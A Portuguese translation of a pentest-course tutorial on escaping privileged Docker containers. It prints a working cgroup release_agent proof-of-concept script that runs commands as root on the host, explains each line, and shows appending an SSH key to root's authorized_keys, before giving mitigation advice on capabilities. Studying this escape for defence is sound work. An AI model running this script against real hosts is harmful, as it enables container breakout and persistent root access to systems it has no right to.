Fuja de contĂȘineres Docker privilegiados

A tradução do artigo foi preparada na vĂ©spera do inĂ­cio do curso “Pentest. PrĂĄtica de teste de penetração " .








Os contĂȘineres privilegiados do Docker sĂŁo contĂȘineres executados com um sinalizador --privileged. Ao contrĂĄrio dos contĂȘineres regulares, esses contĂȘineres tĂȘm acesso root Ă  mĂĄquina host.



Os contĂȘineres privilegiados costumam ser usados ​​quando as tarefas exigem acesso direto ao hardware para realizar as tarefas. No entanto, os contĂȘineres Docker privilegiados podem permitir que invasores assumam o sistema host. Hoje veremos como vocĂȘ pode sair de um contĂȘiner privilegiado.



Procure por contĂȘineres vulnerĂĄveis



Como podemos determinar que estamos em um contĂȘiner privilegiado?



Como vocĂȘ sabe que estĂĄ em um contĂȘiner?



Cgroupssignifica grupos de controle. Esse recurso do Linux isola o uso de recursos e Ă© o que o Docker usa para isolar contĂȘineres. VocĂȘ pode dizer se estĂĄ em um container verificando o cgroup do processo init em /proc/1/cgroup. Se vocĂȘ nĂŁo estiver dentro do contĂȘiner, o grupo de controle serĂĄ /. Novamente, se vocĂȘ estiver em um contĂȘiner, verĂĄ em seu lugar /docker/CONTAINER_ID.



Como vocĂȘ sabe se um contĂȘiner Ă© privilegiado?



Depois de determinar que estĂĄ em um contĂȘiner, vocĂȘ precisa saber se ele Ă© privilegiado. A melhor maneira de fazer isso Ă© executar o comando que precisa do sinalizador --privilegede ver se funciona.



Por exemplo, vocĂȘ pode tentar adicionar uma dummyinterface usando o comando iproute2. Este comando requer acesso ao NET_ADMINqual o contĂȘiner tem, se privilegiado.



$ ip link add dummy0 type dummy


Se o comando for bem-sucedido, podemos concluir que o contĂȘiner tem funcionalidade NET_ADMIN. E, NET_ADMINpor sua vez, faz parte de um conjunto privilegiado de funçÔes e os containers que nĂŁo o possuem nĂŁo sĂŁo privilegiados. VocĂȘ pode remover o link dummy0apĂłs este teste com o comando:



ip link delete dummy0


Escape do container



EntĂŁo, como vocĂȘ sai do contĂȘiner privilegiado? O script a seguir irĂĄ ajudĂĄ-lo aqui. Este exemplo e prova de conceito foram retirados do blog Trail of Bits . Para mergulhar mais fundo no conceito, leia o artigo original:



mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"


Esta prova de conceito usa uma função release_agentde cgroup.



ApĂłs o tĂ©rmino do Ășltimo processo em cgroup, Ă© executado um comando que remove o trabalho encerrado cgroups. Este comando Ă© especificado no arquivo release_agente executado como rootno computador host. Por padrĂŁo, o recurso estĂĄ desabilitado e o caminho release_agentestĂĄ vazio.



Este exploit executa cĂłdigo por meio de um arquivo release_agent. Precisamos criar cgroup, especificar seu arquivo release_agente iniciar release_agent, matando todos os processos em cgroup. A primeira linha no teste de hipĂłtese cria um novo grupo:



mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x


O seguinte inclui a função release_agent:



echo 1 > /tmp/cgrp/x/notify_on_release


Mais adiante, nas prĂłximas linhas, o caminho para o arquivo Ă© registrado release_agent:



host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent


EntĂŁo vocĂȘ pode começar a escrever no arquivo de comando. Este script irĂĄ executar o comando ps auxe salvĂĄ-lo em um arquivo /output. VocĂȘ tambĂ©m precisa definir os bits de acesso para o script:



echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd


Finalmente, inicie o ataque gerando um processo que terminarĂĄ imediatamente no cgroup que criamos. Nosso script release_agentserĂĄ executado apĂłs a conclusĂŁo do processo. Agora vocĂȘ pode ler a saĂ­da ps auxna mĂĄquina host em um arquivo /output:



sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"


VocĂȘ pode usar esse conceito para executar quaisquer comandos que desejar no sistema host. Por exemplo, vocĂȘ pode usĂĄ-lo para gravar sua chave SSH no arquivo do authorized_keysusuĂĄrio raiz:



cat id_dsa.pub >> /root/.ssh/authorized_keys




Prevenir um ataque



Como esse ataque pode ser evitado? Em vez de conceder aos containers acesso total ao sistema host, vocĂȘ sĂł deve conceder as permissĂ”es de que eles precisam.



Os recursos do Docker permitem que os desenvolvedores concedam permissĂ”es seletivamente a um contĂȘiner. Torna-se possĂ­vel dividir as permissĂ”es, geralmente compactadas na raiz access, em componentes separados.



Por padrĂŁo, o Docker obtĂ©m todas as permissĂ”es do contĂȘiner e exige que sejam adicionadas. VocĂȘ pode remover ou adicionar permissĂ”es usando os sinalizadores cap-drope cap-add.



--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES


Por exemplo, em vez de fornecer o contĂȘiner root access, vocĂȘ o deixa NET_BIND_SERVICEse ele precisar se conectar a uma porta abaixo de 1024. Este sinalizador darĂĄ ao contĂȘiner as permissĂ”es necessĂĄrias:



--cap-add NET_BIND_SERVICE


ConclusĂŁo



Evite executar contĂȘineres Docker com um sinalizador sempre que possĂ­vel --privileged. Os contĂȘineres privilegiados podem dar aos invasores a capacidade de sair do contĂȘiner e obter acesso ao sistema host. Em vez disso, conceda aos recipientes permissĂŁo individualmente usando um sinalizador --cap-add.



Consulte Mais informação



  • Recursos do kernel do Linux
  • Usando o Docker com segurança
  • PrĂĄticas recomendadas de segurança para trabalhar com contĂȘineres privilegiados
  • TĂĄticas da Equipe Vermelha: TĂ©cnicas Avançadas de Monitoramento em OperaçÔes Ofensivas
  • Pentest. PrĂĄtica de teste de penetração ou "hacking Ă©tico". Novo curso da OTUS





Saiba mais sobre o curso.







All Articles